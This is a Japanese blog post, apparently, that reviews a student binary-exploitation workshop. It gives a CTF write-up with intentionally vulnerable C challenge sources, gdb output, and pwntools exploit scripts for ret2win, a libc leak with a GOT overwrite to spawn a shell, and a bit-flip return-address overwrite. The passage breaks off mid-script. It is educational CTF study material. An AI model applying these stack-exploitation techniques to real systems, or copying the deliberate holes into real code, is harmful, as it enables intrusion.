はじめに
2025年8月21日(木)~8月22日(金)の2日間、サイバーディフェンス研究所さん主催のBinary Exploitation Workshop for Studentsに参加してきました。
1日目は主にスタックベースのBinary Exploitationの手法や仕組みを講義形式で学び、2日目の午後から学んだ内容を基にCTF形式で実践演習を行いました。
規約の関係で詳細はお伝えできませんが、講義資料はなんと270ページもあり、サイバーディフェンス研究所さんの本気を目の当たりにしました...。内容はスタックベースのメジャーなBinary Exploitationの手法と、それに付随する基礎知識を網羅的に扱っており、正直この資料を無料でいただけるだけでも価値がありすぎました。ただ、学生向けのイベントはこれが初めてだったようで、1日に270ページ分の内容を詰め込むということもあり、かなりハイテンポで進んでいきました。第2弾もあるかもしれない??ということだったので、その時はぜひ事前に公開されている講義トピックと課題の内容は最低限予習してどこが分からないのかまとめておくと更に有益なものとなると思います。pwnを始めてみたけどどの順番で勉強すればよいのか分からないといった初心者の方はもちろん、講義トピックの内容は結構知っているという中級者の方でも充実した資料、講師陣のアドバイスと後述するCTFでかなり楽しめると思います。
さて、今回は2日目の午後に行われたCTFのWriteupと、2日間通しての感想を書いていきたいと思います。
CTF概要
前置き
講義資料の難易度とCTFの難易度の差がかなり大きいです。講義資料の内容は間違いなく初心者の方でも分かるような素晴らしいものとなっていますので、今後受けるかどうか参考にする方は、CTFの難易度は気にせず受けることをお勧めします!
(なお、発想が難しいというだけで、基本的には講義で学んだ攻撃手法だけで解ける内容になっています。)
CTFはJeopardy形式で、2日目の13:30~17:30の計4時間で行われました。社員さんの方々に、事前に難易度を伺ったところ、比較的簡単で、SECCON Beginners CTFよりは…みたいな話だったため、気軽に挑んだ結果、悲惨な目に会いました笑。今回の教訓の1つは「強い方が言う簡単は簡単ではない」です。ただ、それこそSECCON Beginners CTFのよう難易度のCTFという気持ちで受けたら、非常に良問揃いで学びの多いCTFだったと思います。1
今回のCTFは、Warmupの問題が1問、Easyの問題が3問、Mediumの問題が2問、Hardの問題が2問という構成で、1位の人でもWarmup1問とEasy2問だけと半分以上は解かれずに終わりました。おそらく4時間という短い時間で、講義内容とのギャップもあり、焦ってしまった人が多いのかなと思います(自分もそうでした)。せめてWriteupを書いて素晴らしい問題であったことをお伝えしたいと思います。私はashitahahajimetenojirouで参加しました(美味しかったです)。
補足
このWriteupをアップすることで次回のWorkshopでは使えなくなり、また傾向も分かってしまうため、本来であればNGだったのですが、サイバーディフェンス研究所さんのご厚意によりWriteupを出してもよいということになりました!
サイバーディフェンス研究所さんのご厚意に深く感謝申し上げます。
なお、その関係で公開できるのはメインとなるソースコードのみです。環境等は公開できないため、お手元で試すときはぜひ色々なバージョンで動かしてみてください。
ret2win(Warmup)
概要
source code
// gcc ex10_ret2win.c -fno-stack-protector -fno-pic -no-pie -o ex10_ret2win
#include <stdio.h>
#include <stdint.h>
__attribute__((constructor))
void init(void){
setbuf(stdout, NULL);
}
extern char *gets(char *s);
int main(void) {
char buf[0x30];
puts("Input exploit...");
gets(buf);
return 0;
}
int win(void) {
char buf[0x100];
FILE *fp = fopen("/flag.txt", "rb");
fgets(buf, sizeof(buf), fp);
fclose(fp);
puts(buf);
return 0;
}
security
RELRO STACK CANARY NX PIE
Partial RELRO No canary found NX enabled No PIE
セキュリティ機構はNX bitのみで、gets関数という任意のサイズで入力を読み取る脆弱な関数が使われているため、Buffer Overflow(以下、BOF)の脆弱性が存在します。PIE無効であるため、win関数のアドレスを調べて、リターンアドレスをwin関数に書き換えることができればOKです。
こちらの問題は講義資料にも似たような内容が出てきたということもあり、参加者全員が正解していました。ここまでは平和でした。
解答
ans.py
from pwn import *
p = remote("localhost",10101)
elf = ELF("./ret2win")
p.recvuntil(b"Input exploit...\n")
payload = b"A" * 0x30 # fill buffer
payload += b"B" * 0x8 # fill saved rbp
payload += p64(elf.symbols["win"]) # rewrite return addr
p.sendline(payload)
p.interactive()
can-you-get-a-shell(Easy)
概要
source code
#include <stdio.h>
#include <stdint.h>
extern char *gets(char *s);
__attribute__((constructor))
void init(void){
// setbuf(stdin, NULL);
setbuf(stdout, NULL);
}
int main(void) {
char buf[0x18];
uint64_t num = 0x1234;
printf("num is %#lx.\n", num);
gets(buf);
printf("Now, num is %#lx.\n", num);
return 0;
}
security
RELRO STACK CANARY NX PIE
No RELRO No canary found NX enabled No PIE
こちらは1問目同様、セキュリティ機構はNX bitのみで、gets関数が使われているためBOFの脆弱性が存在します。今回はwin関数がないため、libcの関数のアドレスをリークして、シェルを呼び出すことが目標となりそうです。No RELROであるため、あらかじめbufに/bin/sh\0を書き込んでおき、gets関数のGOTを書き換えてsystem関数に書き換えることができればいけそうなので、今回の問題のポイントはlibc leakできるかどうかとなりそうです。
なお、ここら辺から正解者が極端に減少し、この問題に関しては0solveでした。講義内容のレベルからしてまだまだ何も考えずに解けると思ってしまい、油断していました。解いているときは、「運営さん、system関数仕込み忘れてませんか?」と思っていました。順番に見ていったらおそらくこの問題が2問目にあたるため、初心者の人はここで沼にはまったと思います。
ここからは何が出来てどこに繋がりそうかちゃんと考えていく必要があるためになる問題ばかりです。
以降はdockerから持ってきたlibcを当ててから検証しています。
libc leakするために考えたアイデア(失敗)
まず自分が最初に考えた流れとしてはリターンアドレスを書き換えてROPを構築することです。PIE無効であり、printfというアドレスリークのための関数もあるため、pop rdiのようなgadgetが存在していればlibc leakすることができます。そこで、rdiレジスタ関連のgadgetを見てみると
└─$ ropper -f chal | grep rdi
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
0x0000000000401123: add byte ptr [rax - 0x7b], cl; sal byte ptr [rdi + rax - 0x41], 0x68; xor eax, dword ptr [rax]; jmp rax;
0x0000000000401121: add byte ptr [rax], al; add byte ptr [rax - 0x7b], cl; sal byte ptr [rdi + rax - 0x41], 0x68; xor eax, dword ptr [rax]; jmp rax;
0x0000000000401188: add byte ptr [rax], al; mov rdi, rax; call 0x1060; nop; pop rbp; ret;
0x000000000040118a: mov rdi, rax; call 0x1060; nop; pop rbp; ret;
0x00000000004010e6: or dword ptr [rdi + 0x403368], edi; jmp rax;
0x0000000000401126: sal byte ptr [rdi + rax - 0x41], 0x68; xor eax, dword ptr [rax]; jmp rax;
簡単に使えそうなものはありません。
次に思いついたアイデアは、main関数終了直前のprintf関数実行後に、rdiレジスタにlibcへのアドレスがいい感じに格納されているのではないかというものです。そこで、main関数のアセンブリを見てみます。当日はpwndbgを使用しましたが、普段はbataさんのgefを使用しているため、以降はこちらのツールでデバッグしていきます(といっても今回使用するコマンドはpwndbgでも使えるコマンドばかりですが)。
gef> disas main
Dump of assembler code for function main:
0x0000000000401195 <+0>: endbr64
0x0000000000401199 <+4>: push rbp
0x000000000040119a <+5>: mov rbp,rsp
0x000000000040119d <+8>: sub rsp,0x20
0x00000000004011a1 <+12>: mov QWORD PTR [rbp-0x8],0x1234
0x00000000004011a9 <+20>: mov rax,QWORD PTR [rbp-0x8]
0x00000000004011ad <+24>: mov rsi,rax
0x00000000004011b0 <+27>: mov edi,0x402004
0x00000000004011b5 <+32>: mov eax,0x0
0x00000000004011ba <+37>: call 0x401070 <printf@plt>
0x00000000004011bf <+42>: lea rax,[rbp-0x20]
0x00000000004011c3 <+46>: mov rdi,rax
0x00000000004011c6 <+49>: call 0x401080 <gets@plt>
0x00000000004011cb <+54>: mov rax,QWORD PTR [rbp-0x8]
0x00000000004011cf <+58>: mov rsi,rax
0x00000000004011d2 <+61>: mov edi,0x402012
0x00000000004011d7 <+66>: mov eax,0x0
0x00000000004011dc <+71>: call 0x401070 <printf@plt>
0x00000000004011e1 <+76>: mov eax,0x0
0x00000000004011e6 <+81>: leave
0x00000000004011e7 <+82>: ret
main+71にブレークポイントを設置し、printf関数の実行前後でrdiレジスタの値を見てみると
[実行前]
$rdi : 0x0000000000402012 -> 0x6d756e202c776f4e 'Now, num is %#lx.\n'
↓
[実行後]
$rdi : 0x00007fffffffde20 -> 0x00007fffffffde50 -> 0x6d756e202c776f4e 'Now, num is 0x1234.\n'
とそれらしい値が入っていそうでしたが、vmmapコマンドで確認してみると
Start End Size Offset Perm Path
0x00007ffff7c00000 0x00007ffff7c28000 0x0000000000028000 0x0000000000000000 r-- libc.so.6
0x00007ffff7c28000 0x00007ffff7db0000 0x0000000000188000 0x0000000000028000 r-x libc.so.6
0x00007ffff7db0000 0x00007ffff7dff000 0x000000000004f000 0x00000000001b0000 r-- libc.so.6
0x00007ffff7dff000 0x00007ffff7e03000 0x0000000000004000 0x00000000001fe000 r-- libc.so.6
0x00007ffff7e03000 0x00007ffff7e05000 0x0000000000002000 0x0000000000202000 rw- libc.so.6
libcのアドレスではないことが分かります(ここら辺は別途調査する必要がありそうです)。他の関数も同様に調査したのですが、実行後いい感じにlibcのアドレスを保持してくれる場所はありませんでした。
続いて、関数の途中に飛ばしてrdiレジスタをいい感じにセットできる場所がないか確認しました(この時点でrdiレジスタからじゃないとリークできないという考え方に陥ってしまっていたのが良くなかったです)。rdiをセットできそうな場所は2か所あり、1つ目はmain関数の
0x00000000004011bf <+42>: lea rax,[rbp-0x20]
0x00000000004011c3 <+46>: mov rdi,rax
0x00000000004011c6 <+49>: call 0x401080 <gets@plt>
の部分、2つ目はinit関数の
0x0000000000401185 <+15>: mov esi,0x0
0x000000000040118a <+20>: mov rdi,rax
0x000000000040118d <+23>: call 0x401060 <setbuf@plt>
の部分です。結果から言うとどちらもうまくいかず、この時点でこの問題は後回しにしていました。
gef> got
--------------- PLT / GOT - chal_patched - No RELRO ---------------
Name | PLT | GOT | GOT value
-------------------------------------------------------------- .rela.dyn --------------------------------------------------------------
__libc_start_main | Not found | 0x000000403318 | 0x7ffff7c2a200 <__libc_start_main>
__gmon_start__ | Not found | 0x000000403320 | 0x000000000000
-------------------------------------------------------------- .rela.plt --------------------------------------------------------------
setbuf | 0x000000401060 | 0x000000403340 | 0x7ffff7c8f750 <setbuf>
printf | 0x000000401070 | 0x000000403348 | 0x000000401040 <.plt+0x20>
gets | 0x000000401080 | 0x000000403350 | 0x000000401050 <.plt+0x30>
まず、前者に関しては、rbpをgot周辺に設定することでリーク自体は可能ですが、その後がうまく続かず。後者に関してはprintf関数の出力文字数に応じてraxの値が変わることを利用してraxにgotのアドレスを設定しようとしましたが、サイズが大きすぎて送りきることができませんでした。
libc leak
でも冷静に考えると明らかに怪しい箇所があるのです。
gets(buf);
printf("Now, num is %#lx.\n", num);
gets関数実行後に再度numを表示しています。該当する箇所のアセンブリを見てみると、
0x00000000004011cb <+54>: mov rax,QWORD PTR [rbp-0x8]
0x00000000004011cf <+58>: mov rsi,rax
0x00000000004011d2 <+61>: mov edi,0x402012
0x00000000004011d7 <+66>: mov eax,0x0
0x00000000004011dc <+71>: call 0x401070 <printf@plt>
とあり、rbp-0x8の位置に格納されているアドレスの値を表示していることが分かります。今回、gets関数のおかげでsaved rbpの値は任意の値に書き換えることができるため、rbpをgot周辺に設定した後、printf関数実行直前の場所に飛ばすことでlibc leakすることができます。なお、libc leak後はgets関数をsystem関数に書き換えてシェルを呼びたいので、2つ目のprintf関数の直前ではなく、1つ目のprintf関数の直前に飛ばしていきます。
流れは以下の通りです。
- BOFでsaved rbpを
gets@got+0x8に、リターンアドレスをmain+0x20に書き換える - rbpに
gets@got+0x8がセットされている状態でrbp-0x8の位置に格納されているアドレスの値が出力されるため、gets@gotよりgets関数のlibcをリークすることができる - 2回目の
gets関数でgets@gotをsystem関数に書き換えつつ、saved rbpには適当な値を、リターンアドレスにはmain+42を設定する(なお、その前に後述する理由からstack pivotする必要有)。なお、このとき、saved rbpに設定した箇所-0x20の位置に/bin/sh\0が来るように調整する - 3回目の
gets関数呼び出しのときにはsystem("/bin/sh\0")と同等のことを行うのでシェルを奪うことができる
system関数呼び出し時のスタックフレームについて
上記の流れで基本的には大丈夫なのですが、1つだけ注意点があります。それは、system関数呼び出し時に使用するスタックフレームのサイズです。関数を呼び出すときはプロローグ処理を行い、スタック領域を確保するのですが、system関数は確保するスタック領域がかなり大きいです。
0x7fd668c582d0: push r13
0x7fd668c582d2: mov edx,0x1
0x7fd668c582d7: push r12
0x7fd668c582d9: mov r12,rdi
0x7fd668c582dc: push rbp
0x7fd668c582dd: push rbx
0x7fd668c582de: sub rsp,0x388
0x7fd668c582e5: mov rax,QWORD PTR fs:0x28
0x7fd668c582ee: mov QWORD PTR [rsp+0x378],rax
今回のバージョンで言えば大体0x3a0前後のスタック領域を確保しています。つまり、現在のrspを基準に、rsp-0x3a0~rspの間は読み書き可能で、書き換わってしまっても問題ない場所でなければいけません。これを踏まえた上で、流れの3番でリターンアドレスをmain+42に設定するときのrspを確認してみます。
$rax : 0x0000000000000000
$rbx : 0x00007ffd91683dc8 -> 0x00007ffd9168447e -> 0x616b2f656d6f682f 'fil[...]'
$rcx : 0x0000000000000000
$rdx : 0x0000000000000000
$rsp : 0x0000000000403360 <__dso_handle> -> 0x00007feb01925d91 <preadv64+0x21> -> 0x550000441f0fc35e
$rbp : 0x00000000004036d0 -> 0x0000000000000000
$rsi : 0x00007ffd91683b00 -> 0x6d756e202c776f4e 'Now, num is 0x7feb01858750.\n'
$rdi : 0x00007ffd91683ad0 -> 0x00007ffd91683b00 -> 0x6d756e202c776f4e 'Now, num is 0x7feb01858750.\n'
$rip : 0x00000000004011e7 <main+0x52> -> 0xec8348fa1e0ff3c3
$r8 : 0x000000000000001c
$r9 : 0x0000000000000000
$r10 : 0x0000000000000001
$r11 : 0x0000000000000202
$r12 : 0x0000000000000001
$r13 : 0x0000000000000000
$r14 : 0x0000000000403140 <__do_global_dtors_aux_fini_array_entry> -> 0x0000000000401140 <__do_global_dtors_aux> -> 0x22253d80fa1e0ff3
$r15 : 0x00007feb01a79000 <_rtld_global> -> 0x00007feb01a7a2e0 -> 0x0000000000000000
$eflags: 0x10246 [ident align vx86 RESUME nested overflow direction INTERRUPT trap sign ZERO adjust PARITY carry] [Ring=3]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
rspの値は0x0000000000403360であることが分かりました。続いて、メモリマップを確認してみると、
Start End Size Offset Perm Path
0x00000000003fe000 0x00000000003ff000 0x0000000000001000 0x0000000000000000 rw- chal_patched
0x0000000000400000 0x0000000000401000 0x0000000000001000 0x0000000000002000 r-- chal_patched
0x0000000000401000 0x0000000000402000 0x0000000000001000 0x0000000000003000 r-x chal_patched <- $rip
0x0000000000402000 0x0000000000403000 0x0000000000001000 0x0000000000004000 r-- chal_patched
0x0000000000403000 0x0000000000404000 0x0000000000001000 0x0000000000004000 rw- chal_patched <- $rsp, $rbp, $r14
0x0000000000403000~0x0000000000404000の間はw権限が付いていますが、0x0000000000402000~0x0000000000403000はw権限が付いていません。つまり最低限ここは避けなければいけません。実際には0x0000000000403000以降でも使われている領域があるため、書き換えても問題のない領域を基準に0x3a0バイト程度の余裕を持った値をrspに設定する必要があります。これはpop rbp; ret、leave; retのようなgadgetを見つけてstack pivotをしても良いですし、retのgadgetでrspを増やすというのも手だと思います。今回は後者の方法でスタック用の領域を確保しました。
解答
以降、テンプレートを使用しているため見にくいかと思いますが、だいたいp = start()あたりからスタートしています。ローカルで建てたDockerに接続するときはpython3 ans.py EXE=chal LIBC REMOTE=localhost:1337のように実行します。
ans.py
from pwn import *
context.log_level = "debug"
elf = context.binary = ELF(args.EXE or 'vuln')
if args.LIBC == "True":
libc = ELF('libc.so.6')
elif isinstance(args.LIBC, str) and args.LIBC != "":
libc = ELF(args.LIBC)
else:
libc = 0
log.info(f"libc = {libc.path if libc else 'not loaded'}")
# エイリアス
# convのところはもし引数がstr型であればbyte型に、intやfloat型であればstr型に直してからbyte型に直してくれる
# e.g. ru("Choice: ") b"〜"で指定してもよい
# e.g. sl(1) str型にしてからbyte型に変換される
conv = lambda *x: tuple(
str(y).encode() if isinstance(y, (int, float)) else
y.encode() if isinstance(y, str) else
y if isinstance(y, bytes) else
(_ for _ in ()).throw(TypeError(f"Unsupported type: {type(y)}")) # raise TypeError
for y in x
)
rc = lambda *x, **y: p.recv(*conv(*x), **y)
ru = lambda *x, **y: p.recvuntil(*conv(*x), **y)
rl = lambda *x, **y: p.recvline(*conv(*x), **y)
rrp = lambda *x, **y: p.recvrepeat(*conv(*x), **y)
ral = lambda *x, **y: p.recvall(*conv(*x), **y)
sn = lambda *x, **y: p.send(*conv(*x), **y)
sl = lambda *x, **y: p.sendline(*conv(*x), **y)
sa = lambda *x, **y: p.sendafter(*conv(*x), **y)
sla = lambda *x, **y: p.sendlineafter(*conv(*x), **y)
# e.g. start(argv=[1])とすれば、./{binary} 1 を実行したことになる
# e.g. start(argv=[1], env={'DEBUG': '1'}, cwd='/tmp')とすれば環境変数等も指定できる
def start(argv=[], *a, **kw):
# アーキテクチャの指定(何も指定しなければx64)
if args.X32:
context.arch = "i386"
log.info("set i386")
else:
context.arch = "amd64"
log.info("set amd64")
# tmuxを使用する場合はTMUXを指定
if args.TMUX:
context.terminal = ['tmux', 'split-window', '-h']
# 実行方法の指定
if args.REMOTE:
# REMOTE=host:portの形で指定
(host, port) = args.REMOTE.split(':')
return connect(host, port)
elif args.GDB:
return gdb.debug([elf.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([elf.path] + argv, *a, **kw)
gdbscript = '''
b *main+49
continue
'''.format(**locals())
def padu64(b):
while len(b) < 8:
b = b + b"\x00"
return u64(b)
def show_addr(addr,name="libc_base"):
print("------------------------------")
log.info(f"{name} = {addr:#018x}")
print("------------------------------")
p = start()
# phase1 libc leak
ru(".\n")
payload = b"A" * 0x20
payload += p64(elf.got["gets"] + 0x8) # saved rbp
payload += p64(elf.symbols["main"] + 20) # return addr
sl(payload)
rl() #1つ目の出力は正常の出力なので無視
ru("num is ")
libc.address = int(rl().split(b".")[0],16) - libc.symbols["gets"]
show_addr(libc.address)
rop_ret = libc.address + 0x000000000002882f
rop_pop = libc.address + 0x0000000000125d91 # pop rsi; ret;
# phase2 got overwrite & call system
payload = b"B" * 0x8
payload += p64(libc.symbols["setbuf"]) # setbuf@gotはそのまま
payload += p64(libc.symbols["printf"]) # printf@gotもそのまま
payload += p64(libc.symbols["system"]) # gets@got→system
payload += p64(elf.got["gets"] + 0x380) # saved rbp
payload += p64(rop_pop) # return addr
payload += p64(libc.symbols["_IO_2_1_stdout_"]) #間にstdoutのgotがあり、これは書き換えるとまずいので注意
payload += p64(rop_ret) * 103
payload += p64(elf.symbols["main"] + 42)
payload += b"/bin/sh\0"
sl(payload)
p.interactive()
flipmap(Easy)
概要
source code
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define MAP_SIZE 16
void shell() {
execve("/bin/sh", NULL, NULL);
}
void print_map(char *map) {
int count = 0;
for (int y = 0; y < MAP_SIZE; y++) {
for (int x = 0; x < MAP_SIZE / 8; x++) {
for (int b = 7; b >= 0; b--) {
int bit = (map[y * (MAP_SIZE / 8) + x] >> b) & 1;
printf("%d", bit);
if (bit) count++;
}
}
printf("\n");
}
if (count >= 10) {
printf("Congratulations!\n");
exit(0);
}
}
void chal(int max_rewrite) {
char map[(MAP_SIZE / 8) * MAP_SIZE];
int x, y;
memset(map, 0, sizeof(map));
print_map(map);
for (int i = 0; i < max_rewrite; i++) {
printf("Pos> ");
if (scanf("%d %d", &x, &y) < 2) break;
char tmp = map[y * MAP_SIZE / 8 + (x / 8)];
tmp ^= 1 << (7 - (x % 8));
map[y * MAP_SIZE / 8 + (x / 8)] = tmp;
print_map(map);
}
}
int main(int argc, char *argv[]) {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
chal(1);
}
security
RELRO STACK CANARY NX PIE
Partial RELRO Canary found NX enabled PIE enabled
shell関数が用意されているため、この関数を呼び出すことが目標となります。脆弱性は若干分かりづらいですが、chal関数で宣言されているchar型の配列mapにおいて範囲外参照ができる点です。PIEは有効ですが、末尾のオフセットは変わらず、それぞれの関数も隣接しているため、main関数へのリターンアドレスをshell関数のアドレスに書き換えることでシェルを呼べそうです。
mapの参照方法とビット反転
通常、2次元のmapを扱うときはmap[y][x]のような構造になっていて(y,x)に相当することが多いです。今回の問題においても一見するとそのように見えますが正確には違います。
└─$ ./flipmap
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
Pos> 1 1
0000000000000000
0100000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
Pos> 1 1を実行すると該当する箇所にbitが立ちます。アクセス方法を見てみると、
#define MAP_SIZE 16
printf("Pos> ");
if (scanf("%d %d", &x, &y) < 2) break;
char tmp = map[y * MAP_SIZE / 8 + (x / 8)];
yを固定したとき、xが0~7のときは同じ場所にアクセスすることが分かります。また、MAP_SIZEは16であることから、yは2ずつ増えることが分かります。続いて、mapを表示している部分を見てみると、
for (int y = 0; y < MAP_SIZE; y++) {
for (int x = 0; x < MAP_SIZE / 8; x++) {
for (int b = 7; b >= 0; b--) {
int bit = (map[y * (MAP_SIZE / 8) + x] >> b) & 1;
printf("%d", bit);
if (bit) count++;
}
}
printf("\n");
}
map[n]に格納されている1バイトの値の各bitを表示しています。つまり、今回の表は
00000000 00000000 ←map[0]の7~0bit map[1]の7~0bit
01000000 00000000 ←map[2]の7~0bit map[3]の7~0bit
00000000 00000000 ←…
00000000 00000000
00000000 00000000
00000000 00000000
00000000 00000000
00000000 00000000
00000000 00000000
00000000 00000000
00000000 00000000
00000000 00000000
00000000 00000000
00000000 00000000
00000000 00000000
00000000 00000000 ←map[30]の7~0bit map[31]の7~0bit
のような構成となっていたのです。yはmapの何行目かに対応していて、xは何bit目か(ただし(7 - (x % 8))の位置)に対応していることが分かりました。これを踏まえた上で、続きのコードを見てみると
char tmp = map[y * MAP_SIZE / 8 + (x / 8)];
tmp ^= 1 << (7 - (x % 8));
map[y * MAP_SIZE / 8 + (x / 8)] = tmp;
対象の場所に格納されている1バイトを取得し、xで指定したbitの位置をXORを用いて反転し、元の場所に格納しています。
範囲外参照を用いた変数の書き換え
今回はx、yともに好きな値を入力することができるため、好きな場所1バイトに格納されている値を1bit単位で自由に反転させることができます。しかし、
void chal(int max_rewrite) {
char map[(MAP_SIZE / 8) * MAP_SIZE];
int x, y;
memset(map, 0, sizeof(map));
print_map(map);
for (int i = 0; i < max_rewrite; i++) {
printf("Pos> ");
if (scanf("%d %d", &x, &y) < 2) break;
char tmp = map[y * MAP_SIZE / 8 + (x / 8)];
tmp ^= 1 << (7 - (x % 8));
map[y * MAP_SIZE / 8 + (x / 8)] = tmp;
print_map(map);
}
}
この反転作業はmax_rewrite回しかできません。よってまずはこのmax_rewriteの値を増やすことから始めます。まずはそれぞれのローカル変数の配置関係を見てみましょう。
gef> disas chal
Dump of assembler code for function chal:
0x00000000000012a5 <+0>: push rbp
0x00000000000012a6 <+1>: mov rbp,rsp
0x00000000000012a9 <+4>: sub rsp,0x50
0x00000000000012ad <+8>: mov DWORD PTR [rbp-0x44],edi
0x00000000000012b0 <+11>: mov rax,QWORD PTR fs:0x28
0x00000000000012b9 <+20>: mov QWORD PTR [rbp-0x8],rax
0x00000000000012bd <+24>: xor eax,eax
0x00000000000012bf <+26>: lea rax,[rbp-0x30]
0x00000000000012c3 <+30>: mov edx,0x20
0x00000000000012c8 <+35>: mov esi,0x0
0x00000000000012cd <+40>: mov rdi,rax
0x00000000000012d0 <+43>: call 0x1070 <memset@plt>
chal関数のmemset関数を呼び出しているところを見てみると、第1引数にmapへのアドレスを格納しています。今回はUnix系OSの環境であるため、rdiレジスタに格納されていて、辿るとrbp-0x30の位置に格納されていることが分かります。また、今回のchal関数の第1引数にmax_rewriteが渡されるため、rdi(edi)レジスタをスタックに格納している部分を見てみると、rbp-0x44の位置に格納していることが分かりました。通常であれば下位の方にある値にはアクセスできませんが、今回は負のインデックスも指定できるためアクセス可能です。
では具体的にどのような値を指定すればrbp-0x44に向けることができそうか見ていきたいと思います。まず、(x,y) = (0,0)を指定するとmap[0]になり、これはrbp-0x30の場所が参照されます。今回書き換えたい場所はmap[0]を基準に-0x14の位置にあります。よって、map[-0x14]のような指定ができればよいでしょう。なお、xに関しては後程どこのbitを反転させるかで使用するため、極力yを使って目的の場所を指定します。
char tmp = map[y * MAP_SIZE / 8 + (x / 8)];
xに関しては0~7であれば(x / 8)の部分は0になるため、y * MAP_SIZE / 8の部分で-0x14(=-20)を作ります。MAP_SIZE / 8は2であるため、yには-10を指定してあげれば良さそうです。続いてxですが、
tmp ^= 1 << (7 - (x % 8));
実際に反転するのは(7 - (x % 8))の位置であることに注意して考えます。今回は1が設定されているはずなので、2進数で00000001となっているはずです。特に何も考えないでindexの7bit目を立ててもよいのですが、今回、chal関数のリターンアドレスを書き換える関係で、書き換えた後はchal関数を終わらせる必要があります。なので、すぐに終われる丁度いい値に設定します。8回程度あれば十分なので、index3のところを反転させることにしました。つまり、xには4を設定します。
なお、
if (scanf("%d %d", &x, &y) < 2) break;
の部分で適当な値を入れることで抜けることができるため、そこまで気にする必要はありませんでした。
リターンアドレス書き換え
続いてchal関数のリターンアドレスを書き換えます。今回は書き換え処理の部分はループしているため、リターンアドレスを書き換えてもすぐには飛ばないので問題ありません。先ほどの調査でmapはrbp-0x30の位置にあることが分かりました。saved rbpがあることに注意しつつ、リターンアドレスの位置を考えると、rbp+0x8の位置にあるはずです。つまり、今度はmap[0x38]にアクセスすると、リターンアドレスの末尾1バイト(リトルエンディアンを考慮)を参照することができるはずです。PIEは有効ですが、末尾12bitはページアライメントの関係で一致しているはずなので、オフセットが分かれば近辺の関数に飛ばすことができます。また、通常は1バイトごとに書き換えますが、今回は1bitごとに書き換えることができるため、正確に飛ばすことができます。
では、どこをどのように書き換えればよいのか調べてみましょう。chal関数にブレークポイントを設置し、呼び出し直後のスタックを見てみると
--------------------------------------------------------------------------------------------------------------------------- stack ----
$rsp 0x7fffffffe068|+0x0000|+000: 0x000055555555541b <main+0x55> -> 0x00c3c900000000b8 <- retaddr[1]
0x7fffffffe070|+0x0008|+001: 0x00007fffffffe198 -> 0x00007fffffffe476 -> 0x616b2f656d6f682f 'flipmap' <- $rbx
0x7fffffffe078|+0x0010|+002: 0x00000001ffffe110
$rbp 0x7fffffffe080|+0x0018|+003: 0x0000000000000001
0x7fffffffe088|+0x0020|+004: 0x00007ffff7dd7ca8 <__libc_start_call_main+0x78> -> 0xe800018691e8c789 <- retaddr[2]
0x7fffffffe090|+0x0028|+005: 0x00007fffffffe180 -> 0x00007fffffffe188 -> 0x0000000000000038
0x7fffffffe098|+0x0030|+006: 0x00005555555553c6 <main> -> 0x10ec8348e5894855
0x7fffffffe0a0|+0x0038|+007: 0x0000000155554040
リターンアドレス先は0x000055555555541bであることが分かりました。続いてshell関数のアドレスを調べてみると
gef> disas shell
Dump of assembler code for function shell:
0x00005555555551b9 <+0>: push rbp
0x00005555555551ba <+1>: mov rbp,rsp
0x00005555555551bd <+4>: lea rax,[rip+0xe40] # 0x555555556004
0x00005555555551c4 <+11>: mov edx,0x0
0x00005555555551c9 <+16>: mov esi,0x0
0x00005555555551ce <+21>: mov rdi,rax
0x00005555555551d1 <+24>: call 0x555555555090 <execve@plt>
0x00005555555551d6 <+29>: nop
0x00005555555551d7 <+30>: pop rbp
0x00005555555551d8 <+31>: ret
0x00005555555551b9であることが分かりました。よって、末尾1バイト目を0x1b→0xb9に、末尾2バイト目を0x54→0x51にする必要があります。2進数でどこを変更するべきか見てみましょう。
00011011 (0x1b) 01010100 (0x54)
↓ ↓
10111001 (0xb9) 01010001 (0x51)
末尾1バイト目の方は、1,5,7bit目を反転する必要があり、末尾2バイト目の方は、0,2bit目を反転する必要があります。先ほどの調査で、末尾1バイト目はmap[0x38]でアクセスできることが分かったので、末尾2バイト目はmap[0x39]にアクセスすればよいでしょう。
リターンアドレス書き換え後は残り回数を適当に消費すればOKです。
解答
ans.py
from pwn import *
context.log_level = "debug"
elf = context.binary = ELF(args.EXE or 'vuln')
if args.LIBC == "True":
libc = ELF('libc.so.6')
elif isinstance(args.LIBC, str) and args.LIBC != "":
libc = ELF(args.LIBC)
else:
libc = 0
log.info(f"libc = {libc.path if libc else 'not loaded'}")
# エイリアス
# convのところはもし引数がstr型であればbyte型に、intやfloat型であればstr型に直してからbyte型に直してくれる
# e.g. ru("Choice: ") b"〜"で指定してもよい
# e.g. sl(1) str型にしてからbyte型に変換される
conv = lambda *x: tuple(
str(y).encode() if isinstance(y, (int, float)) else
y.encode() if isinstance(y, str) else
y if isinstance(y, bytes) else
(_ for _ in ()).throw(TypeError(f"Unsupported type: {type(y)}")) # raise TypeError
for y in x
)
rc = lambda *x, **y: p.recv(*conv(*x), **y)
ru = lambda *x, **y: p.recvuntil(*conv(*x), **y)
rl = lambda *x, **y: p.recvline(*conv(*x), **y)
rrp = lambda *x, **y: p.recvrepeat(*conv(*x), **y)
ral = lambda *x, **y: p.recvall(*conv(*x), **y)
sn = lambda *x, **y: p.send(*conv(*x), **y)
sl = lambda *x, **y: p.sendline(*conv(*x), **y)
sa = lambda *x, **y: p.sendafter(*conv(*x), **y)
sla = lambda *x, **y: p.sendlineafter(*conv(*x), **y)
# e.g. start(argv=[1])とすれば、./{binary} 1 を実行したことになる
# e.g. start(argv=[1], env={'DEBUG': '1'}, cwd='/tmp')とすれば環境変数等も指定できる
def start(argv=[], *a, **kw):
# アーキテクチャの指定(何も指定しなければx64)
if args.X32:
context.arch = "i386"
log.info("set i386")
else:
context.arch = "amd64"
log.info("set amd64")
# tmuxを使用する場合はTMUXを指定
if args.TMUX:
